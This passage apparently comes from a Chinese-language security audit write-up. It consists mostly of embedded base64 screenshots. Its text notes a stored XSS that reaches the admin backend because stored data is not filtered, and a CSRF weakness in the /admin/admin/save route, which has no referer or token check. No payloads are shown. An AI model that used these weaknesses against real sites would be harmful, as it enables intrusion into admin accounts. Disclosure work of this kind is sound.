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 truncated
|
||||
最后前台效果如下:</p>
|
||||
<p blockindex=50><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABpkAAANJCAYAAAD3P1RLAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzde3xU9Z0//tc5M5NMLlyCDZAoGmmNAypUiCIEDRUqAQoGBK2r7bby/f2ItVuD3X5hv7bby7YrWHcJ3bYmbdlt/XonQgyKYLUSNYG2QbmoGVFuBhMgQEhIMtdzzvePmXNy5sxMbjOTmUleTx9jZubcPnNJzvB5zfvzERwOhwKKK0VRtJ/Gi3E5ERERERERERERERElNkEQgn4aL/rlycoc7waMdKGCJfVisVhgNpshiqJ2ISIiIiIiIiIiIiKixCbLsnbxer3weDzDMmhiyBRH+kBJlmXtutVqRWpqarybR0REREREREREREREg6AvHElJSQEAOJ1OuFwuCIIQVFSSrEGTwOHy4sMYMMmyDIvFgrS0tKR9MxERERERERERERERUXiKosDhcMDj8WhBlLGyKZlw/LU4CBUwpaSkID09PSnfRERERERERERERERE1DdBEJCeng6LxaLlA/rMINkwZBpioQKmtLQ0pKWlxbtpREREREREREREREQ0BNLT02G1WpM+aGLIFAf6kMlisWjjMRIRERERERERERER0ciQmpoKi8WStAETwJBpSBmrmEwmE9LT0+PdLCIiIiIiIiIiIiIiioP09HSIopi01UzmaO/w5Zdfxp133hnt3Q4b+jdJRkZGVPd97Ngx1NfXo6WlBS0tLQCAnJwc5OTkoLCwEFdffXVUj0dEREREREREREREFG2PPfYYbrrpJnzlK1+ByWSKd3MAAHV1dRAEAXPmzIn6vjMyMtDR0aFlB4IgRP0YocyaNQt//etfI9qH4HA4ohKJeTwePPDAA5gwYQKeeOKJaOxyWDHOw5SSkgKr1RqVfXu9Xrz88st49913sWDBAlx99dW48sorAQAnT57EsWPH8MYbb6CoqAjLli2D2Rz1bJGIiIiIiIiIiIiIKCo+//xzPPPMM8jMzMTq1auRmpoa1/acOXMGf/rTnwAA3/rWtzB+/PioH6O7uxterxeiKEIURQiCEPOwKS0tDQ6HI6J9RGW4vO7ubixZsgTXXXddQgdMRUVFOHz4cJ/rHTp0CPPnz4/68fVVTNH6pZAkCY8//jhaWlrwk5/8BEuWLMHUqVORmZmJzMxMXHfddVi6dCl++tOf4tSpU/jlL38JSZKicmwiIiIiIiIiIiIioki89tpr2L17t3b79OnT6OrqwiOPPIJx48bhd7/7HbxebxxbCLz++uuYN28eioqK8Prrr8fkGGlpaTEZLm/btm2YPn060tLSAi7GY+sv06dPx7Zt2/q1/4hDptbWVsyfPx9f//rXsX79+kh3F1O/+c1vsGrVKhw8eDDsOgcPHsS9996LzZs3x6wdagoZDTt27EBGRga++93vYsyYMWHXGzt2LL73ve8hIyMDr776ahSObEf5PAGl1VHYVW9HKZ8HQT1IdSmEeeWwx/aQITXXbMC6dev8ly1oCFyKmg3rtOUbapqjtq1uJ9iwoQZhlsZFc80GrNvS0PeKg9aALes2INxTQkRERERERERERMnN4/Hgb3/7G/bt2wePxwMAcDqdePbZZ7F3717cc889sFgsASHUUGtpacHJkydRUFCAgoICnDhxAmfPno36cQRBgChGpS4owM9//nP85je/gcPhCLjoGZf9+te/xi9+8Yt+7T+iFn/22WeYN28eHnnkETzwwAOR7GpIXH/99XjuueewcuVKNDQEd443NDRg5cqVeOGFF3D99ddH7bj69FFRFFgslqjs9/jx43jnnXfw7W9/O2jZ9u3b8cc//jHo/n/8x3/EW2+9hZMnT0alDcNFdamAeeVh4quGLdhcl41VGzdi48aNeLiwFVt1gU/Dls2oy16FjRs3YuPGVciu2wwte4lkW30TXqsDphYgN8qPu/8Y+BAREREREREREVF0HThwAHl5ebjqqqtw4MABAEBeXh7Wrl2Lt99+G0ePHsWKFSuwd+9edHZ2DmnbFEXB+fPn8corr+D222+HKIowmUyYN28eduzYgc7OzqhWHAGAxWIJyhMi1djYiLlz5w5om1tvvRUfffRRv9Yd9OQ8Bw8exF133YWKigosWLBgsLsZcjfeeCNefPFFrFixAs899xxuueUWAMC+fftw7733Ytu2bVENmIwURYnanEhvv/02Zs2ahdGjRwctmzlzJpxOZ9D9Y8aMwaxZs/DOO+/gqquuiko7hrvm5lYgfwEK/LdzC6Yiq64VzQBy0YCDR7JQ+LC6tACLCt/A5oMNQEFBRNv2aMDBI/lYsDp+ERMRERERERERERFRtNXV1WHRokVQFAW7d+/GTTfdBMDXj71q1SpUV1fj+9//PqZOnYpDhw5hzpw5MW1PY2MjPvjgA5w5cwYtLS1IT0/HNddcg5tvvllb55ZbbsHnn3+Oxx9/HLIsY/z48cjJycENN9wAm80W0fHNZjNcLlekD2NIDSrteOedd3DffffhhRdewOzZs6Pdppi78cYb8cILL2DFihV49tlnAQD3338/qqqqcOONN8b8+NEqeTt9+nTYgM9kMmHcuHEhl33pS1/Cnj17otKGANWlEJZX9txesx1KRUnPbXs55k1Zi1r/zaJNjdhTZgvaTrs/DHv5PExZWxv6GH20obpUgLa4aBMa9xRj17wp8O1uCoS1RdjUuAdz69ZhK1Zh4+oCXzC0+Q3UNBdgWS7Q3PAR2tTgqOEgjmRNxSJd/uNb/yAaUICCSLZV72w4iCP507FaW6sZNRs2o67Ndyt/1Spg6xvIfng9luUCDVvW4Y3sh7F+mbrjBmxZ17Mc8A11t1ndAfKxauNq//EasGXdVhzxL8kqfBjrCxqwYXMd2gAc2bwOdVmFeHj9sp7W6PeV73vONA1bsG7rkZ7bxuWG4wW2xcC/r/xVG7E65ApERERERERERESULJqamuB0OpGfnw/ANzrXqVOncMUVVwCAdv/Jkycxbdo0NDQ0xDxkevrpp1FYWIglS5YgJycHVqs1aB2z2Yx77rkHgG+4v5aWFhw+fBjPPvssfvazn0V0/FgMlxdrgwqZ7r33Xpw/fx633377gLe98sor8fHHHw/msFF1880348UXX8SqVasgyzJeeumlgDQyFtTStmiGTF/84hdDLnvvvfcAAEuXLg1aNnnyZDz//PNRaYOmuhTCcjs2NSrw5UN2lM+bgnnl/sDIXo55U6pR0qhgjw0AqlFe7t90F7BdUVCi7acc1WUVKAl1nNq1KC9phKKo+1yO0mIFFSX9aEN1KZbbN6FRKYMNgL26GoANZXsU5JUKKLf1hFsNdbpj5i7D+oeBDZvXoQ4IEZT0IpJtAQDNqHnjCPIXrO65vWEzPpr6MDb6E6OGLeuwFVnI7u8eazZg80dT8fDGZchVb29pQMHqAjRs2YrWQnXfzWho8D+GjbnBQRUAHNmKp7IfxsaNuVrbNtTk+gKuhi1Yt7UVhQ9v9G9jWO4PmHqO52/Lhhrkrl8WODRg0L6IiIiIiIiIiIgome3btw8333wzBEEA4Ouz37dvH1auXKmtM2vWLJw6dQpf/vKX8fLLL8e8TUuWLMFbb72Fm2++OWTAZGSxWJCWloYDBw5g0aJFER9fzQ6iPQxfLA0q7XjuueeQnZ2Nv/zlL0ETQvV1SYSASU8QBJhMpng3Y1DMZvOgAiuTyaT94kZL9a5KFG2qQE8Bkg1lZWtQW70LdgDV5WuBgOUlKPPfKKnQBUolxVgDO06EmR4JRZtQoe7EVoayNYDdv3JfbQAA1Nq167aSEoSrlypYvbEnDGrYgnVPAd/0z6u0cfpBrFu3BSGmTgoWybYA0NyAj1CIRQW62235WKBLWgpWr0J+f/eHZjR81Ib8BT0hTu6yBcg/clBrU1urOvFSLgoK+kh08lfpKqZysWxBPto+akAzgIaDR5BV+E1dKBS43FfJVYhv6h5L7rIFyG/7CA36uZ+aa7BhaysKdQEXERERERERERERJS+Hw4FDhw4FFH7cdNNNOHDgABwOh3bfrbfeirlz5yIzMxN33nlnzNs1Z84cLFiwAL/97W9x9uzZPtc/c+YMfvvb3+KOO+5IylHfomFQlUy33norduzYkZRzMqn+9re/4e6779aGy/v617+OqqqqmFYzqcGOLMtRqWaaNGkSmpqacN111w1ou88++wxXXnllxMfv4QuFbMWGyMZmQ1GtHfZwy7XNA4fRA4qwKeptAGwlFVC2l/pfB9+weL2MyufXU0mk5RsFq7Hq4DocbEDoYd0AICsbuRFt6z96w0fA1G/2bN/cijbd8oFrRmsbcGTrOqzbGnBQZDcDy1ZvBLasw7p1WwH/sHgDOlZuNrL8x2luBbKn5wYvb/PNSeVfwbD/XGRntaHVN2kVgDbUba1D/ipWMBEREREREREREQ0X+/fvh9vtxr/927+FXDZ37tyg+6+//vqhaBpmzZoFs9mMJ598Et/5zneQnR16DKmzZ8/iySefxLJlyzBjxoyoHFuWZQCIepFILA0qZAKA6dOn4y9/+QsWLVqEn/zkJ1i1alU02xVT77//Pu655x5UVVXhlltuAQC8+OKLuOeee7Bt27aYz8sUrVK3wYZMTU1NUQ6ZbMizAdUn7ICxNqjIBhtsQLjl9nLMm2JHmaJgDwCgGqVCeQza4FdSAUWp8B93HtCvoKkXutBEHwy1ZS/oO5zpc9sGvFYHTH3YsCfDNmhuRivQz+HycpGdlYXsb4avCipYvREFUIeuw8CCpuZWtCEbQC5ys4GPmgNa6uMPyXJ9KyB4jSxk5/ZcL1w1FR9tXYct4FxMREREREREREREw0F9fT2+/e1vw2YL7Jy12+2oqakJGTINpZkzZ+Ljjz9GU1NT2JDp1KlTyM/Pj1rABPSETMkkonKaK6+8Env27MF//ud/4r//+7+j1aLine truncated
|
||||
<p blockindex=51>并且从后台取出sql数据的时候,也没有经过过滤,所以该xss也能够前台盲打后台。</p>
|
||||
<p blockindex=52><img src=data:image/png;base64,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 truncated
|
||||
<h2 blockindex=53>0x4 CSRF</h2>
|
||||
<p blockindex=54>后台/admin/admin/save路由,可以看到全程未有referer以及csrf-token校验。</p>
|
||||
<p blockindex=55><img src="data:image/png;base64,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